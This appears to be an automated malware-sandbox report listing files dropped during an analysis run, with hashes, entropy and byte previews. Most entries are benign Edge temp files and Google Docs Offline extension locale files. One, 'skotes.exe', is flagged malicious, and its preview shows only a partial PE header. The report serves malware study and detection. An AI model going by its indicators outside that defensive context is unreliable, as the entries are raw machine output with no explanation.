C:\Users\user\AppData\Local\Temp\8e645387-e094-48ab-8d57-253caa5f8a73.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\a88bdb72-ef16-413a-bcfa-3fe50b36c5a2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\aa6ebee6-2ec5-456c-8014-307bf630f625.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41900
Category:	dropped
Size (bytes):	76321
Entropy (8bit):	7.996057445951542
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iys3BBrYunau6wpGzxue:GdS8scZNzFrMa4M+lK5/nXexue
MD5:	D7A1AC56ED4F4D17DD0524C88892C56D
SHA1:	4153CA1A9A4FD0F781ECD5BA9D2A1E68C760ECD4
SHA-256:	0A29576C4002D863B0C5AE7A0B36C0BBEB0FB9AFD16B008451D4142C07E1FF2B
SHA-512:	31503F2F6831070E887EA104296E17EE755BB6BBFB1EF2A15371534BFA2D3F0CD53862389625CF498754B071885A53E1A7F82A3546275DB1F4588E0E80BF7BEE
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsHCAFIJDGHC.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1905152
Entropy (8bit):	7.954963790013164
Encrypted:	false
SSDEEP:	49152:8tuhGDlAAtP2OTwRY+n9EK74Mzmu3uEeKo6m:quEGY+n9EKGKo6m
MD5:	642A88E4846A4148E7A4BED5A1F988A2
SHA1:	1E02B5843578247066CA9017B345ECB511BDC3BA
SHA-256:	7B98DD28B55E84671D52943A82B7919967C4C825AC6BD69C2DFDADFCCB986747
SHA-512:	E82A2D6BD293DE9775AB69A0ECBB68E152DD2C1C12AC324503351C942709599EA7741259903E3AD2F6532BF54F4328EF22D47AEF3137465375BB585FF15564D3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................pK...........@...........................K...........@.................................W...k.......H...................(SK..............................RK..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..*.........................@...wajwbeif.....`1.....................@...joqbkyeg.....`K.....................@....taggant.0...pK.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	5.415450687469943
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854Rrt:8e2Fa116uCntc5toYpN+M
MD5:	46D95AC05524A8B36FA45D2B88B2E6D1
SHA1:	27C13AFD81465BA7901550FE2DE2F5E3F736313F
SHA-256:	A2A8AFDDB9B4E16DDA1F3028901BF281B297B373EA094CB07033FB64446C7CFF
SHA-512:	2BDC536379E638108FA5BE32AC42C549A001CB2BF7F6BEA98C374C3973C318FD70209B345429D4E5A3CE13C0DC741605D0CB8FAF0C3888F2DBA6AD4DA150D976
Malicious:	false
Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\dcc0bead-4db5-47bc-bf0d-c43f46c68ee2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\e155e8eb-d8c3-4a7d-b392-698eb5da465c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
